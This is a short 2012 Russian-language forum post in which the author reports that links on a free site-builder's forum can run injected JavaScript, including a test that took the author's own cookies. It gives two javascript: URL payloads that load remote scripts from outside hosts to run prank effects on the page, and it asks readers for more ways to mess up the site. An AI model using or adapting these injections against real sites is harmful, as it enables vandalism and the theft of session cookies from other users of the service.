| zlodeeev |
13.08.2012 17:42 |
Свобода в js на одном форуме/конструкторе/много чего ещё
Пару лет назад, будучи ещё только выпускником, я активно использовал средства одного бесплатного онлайн-конструктора сайтов. Прошло время, я недавно про него вспомнил, зашёл, всё стало платным, но остались доступы к моим старым страничкам. Пошарив по форуму - заметил, что работает алерт в ссылках, проба стянуть собственные куки- успешно прошла. Любой скрипт подгружается, легко запускаются фичи, меленькие
Матрица:
javascript:var%20s%20=%20document.createElement('script');s.type='text/javascript';%20document.body.appendChild(s);s.src='http://nagon.net/js/NRMSLib.js';setTimeout('effect.matrix.start();',3000);void(0);
взрыв шрифтов на странице:
javascript:(function%20()%20{var%20s%20=%20document.createElement('script');s.setAttribute('src',%20'http://fontbomb.ilex.ca/js/main.js');document.body.appendChild(s);}());
и прочие, чтобы ещё такого напортачить? =D |